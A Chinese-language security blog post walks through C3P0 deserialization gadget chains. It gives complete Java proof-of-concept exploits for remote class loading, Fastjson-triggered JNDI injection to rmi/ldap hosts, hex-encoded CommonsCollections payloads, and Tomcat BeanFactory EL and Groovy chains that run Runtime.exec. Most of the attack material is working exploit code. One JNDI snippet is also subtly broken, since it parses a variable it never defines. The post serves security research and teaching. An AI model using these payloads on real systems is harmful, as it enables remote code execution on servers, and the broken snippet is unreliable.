C3p0反序列化

介绍

这里直接搬运一下

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

环境搭建

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

URLClassLoader

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package com.ocean;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class c3p0Vul {
public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{

@Override
public Reference getReference() throws NamingException {
return new Reference("exp","exp","http://127.0.0.1:8889/");
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

//序列化
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值为我们的恶意ConnectionPoolDataSource类
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);

//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);

}

//反序列化
public static void Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
EXP_Loader exp_loader = new EXP_Loader();
Pool_Serial(exp_loader);
Pool_Deserial();
}

}

恶意类一定注意不要有包名不然会报错。

1
2
3
4
5
6
7
import java.io.IOException;
public class exp {
public exp() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}
}

下面记录一下这个链的调用过程。

执行流程详解

首先我们先找到漏洞的触发点是在com/mchange/v2/naming/ReferenceableUtils.java这个类的referentoobject方法里

很明显,该方法是用来进行类加载的。如果设置了一个远程工厂类地址fClassLocation,则会使用URLClassLoader进行远程类加载。

然后看一下谁调用了他

可以找到是ReferenceableUtils这个类的getObject方法调用了他,再继续找一下是谁调用了他

可以看到是PoolBackedDataSourceBase的readObject方法中会进行调用,所以这里调用链就出来了。

不过这里我们还要详细看一下他的readobject方法

可以看到在调用他之后会强制转换为ConnectionPoolDataSource类型跟进去看看这个类

我们发现他并没有实现序列化,所以他是没法被进行序列化的那么这里为什么能转成这个对象呢

我们到他的writeObejct中看一下

可以看到这里如果不能进行序列化这个类的话会走到catch方法里用ReferenceIndirector.indirectForm(connectionPoolDataSource)对其进行包装最终会返回一个ReferenceSerialized

所以ConnectionPoolDataSource类经过序列化后,得到的最终是ReferenceSerialized类,因此在PoolBackedDataSourceBase#readObject中调用的其实是ReferenceSerialized#getObject()方法。

这里一定要自己跟一下他序列化的流程否则后面的poc看起来可能会有点疑问。可以看到他调用了indirectForm对connectionPoolDataSource进行封装,然后调用了getReference方法将获取引用并实例化进去,这里就是我们的可控点,也就是我们传入恶意地址的地方。这条链其实算是借鸡生蛋,就是借着ConnectionPoolDataSource类来下的ReferenceSerialized🥚。

所以到这大盖就能明白poc的写法了

记录下调用链

1
2
3
4
5
PoolBackedDataSourceBase#readObject ->
ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject ->
ObjectFactory#getObjectInstance
URLclassLoader 类加载

jndi利用

这里需要依赖于 fastjson 和 jackson去利用。先给出poc

poc

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JNDI {
public static void main(String[] args) {
String poc = "{\"@type\": \"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\"jndiName\": \"rmi://127.0.0.1:1099/e6pbsf\",\"loginTimeout\":0}";
JSON.parse(payload);
}
}

调试流程

先看调用的触发点

在com/mchange/v2/c3p0/JndiRefForwardingDataSource.java这个类的dereference方法里存在jndi注入的漏洞。接下来寻找在哪调用了dereference这个方法

可以看到还是该类的inner方法,继续看在哪调用了该inner方法

有好多个这里可以利用的是setLoginTimeout方法。他接受一个int类型的传参数。

所以这里就可以结合fastjson触发了。找一下jndiName赋值也有

在其父类里面JndiRefDataSourceBase

其实这里还有一个触发链条就是在这个类JndiRefConnectionPoolDataSource中

同时我们在这个类中

他是调用了com/mchange/v2/c3p0/WrapperConnectionPoolDataSource.java这个类中的setLoginTimeout方法

看看这个getNesteDataSource方法

直接返回了nestedDataSource对象其实调试会发现这个值最终是com/mchange/v2/c3p0/JndiRefForwardingDataSource.java这个类的对象

所以就可以通过fastjson结合com/mchange/v2/c3p0/JndiRefConnectionPoolDataSource.java这个类进行构造了

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class JNDI {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}

C3P0 之 HEX流加载任意类攻击

漏洞主要发生在WrapperConnectionPoolDataSource这个类中,来看一下这个类

看到他的构造方法调用了parseUserOverridesAsString方法传入的是userOverridesAsString这个属性

接着来看看这个方法干了啥可以看到首先进行字符截取将最后一位和

解析过程中调用了substring()方法将字符串头部的HASM_HEADER截去了,因此我们在构造时需要在十六进制字符串头部加上HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;

然后将解码的数据传入到SerializableUtils.fromByteArray方法跟进去

继续调用,继续跟

可以看到存在readObject反序列化。

然后我们能联想到fastjson会在反序列化的时候自动调用setter方法所以去找一下

在其父类WrapperConnectionPoolDataSourceBase里找到了setter方法可控所以就可以来结合fastjson来构造了

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package com.ocean;

import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class C3P0_Hex {

//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"eee");
lazyMap.remove("abc");
//反射修改LazyMap类的factory属性
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return hashMap2;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);

//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);


}
}

低版本的fastjson

1
2
3
4
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";

但是这里其实是有问题的我们的流程上来看。就是fastjson在反序列化的时候会先调用构造方法在去调用setter getter方法那既然这样的话我们的set就没有用了那为什么还能继续触发漏洞呢

关键点在其父类的set方法里

当我们调用该setter时,首先会与旧的userOverridesAsString属性比较,这里旧值为null,新值为我们构造的userOverridesAsString,因此这里会进入if判断。跟进vcs.fireVetoableChange实例化了一个PropertyChangeEvent对象

然后跟进fireVetoableChange(方法,最后在375行这个地方调用了WrapperConnectionPoolDataSource#vetoableChange

跟进去如果propName变量为userOverridesAsString,则会直接反序列化传入的十六进制字符串并将返回的对象赋值给userOverrides属性。C3P0通过这种方式,在set完userOverridesAsString属性后直接对其进行解析,减少了一次类初始化操作。

c3p0不出网

不论是URLClassLoader加载远程类,还是JNDI注入,都需要目标机器能够出网。而加载Hex字符串的方式虽然不用出网,但却有Fastjson等的相关依赖。那么如果目标机器不出网,又没有Fastjson依赖的话,C3P0链又该如何利用呢?

在JNDI高版本利用中,我们可以加载本地的Factory类进行攻击,而利用条件之一就是该工厂类至少存在一个getObjectInstance()方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入

可以看到和jndi高版本绕过很像假设存在Tomcat8中的org.apache.naming.factory.BeanFactory

就可以进行利用。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package com.ocean;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_Tomcat8 {

public static class Tomcat8_Loader implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"open -a Calculator\")"));
return resourceRef;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

//序列化
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);

//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);

}

//反序列化
public static void Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Tomcat8_Loader tomcat8_loader = new Tomcat8_Loader();
Pool_Serial(tomcat8_loader);
Pool_Deserial();
}
}

类似的还有Grovy依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
package com.ocean;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_Grovy {

public static class Tomcat8_Loader implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));

return ref;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

//序列化
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);

//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);

}

//反序列化
public static void Pool_Deserial() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Tomcat8_Loader tomcat8_loader = new Tomcat8_Loader();
Pool_Serial(tomcat8_loader);
Pool_Deserial();
}
}

文章参考:https://goodapple.top/archives/1749

https://forum.butian.net/share/2868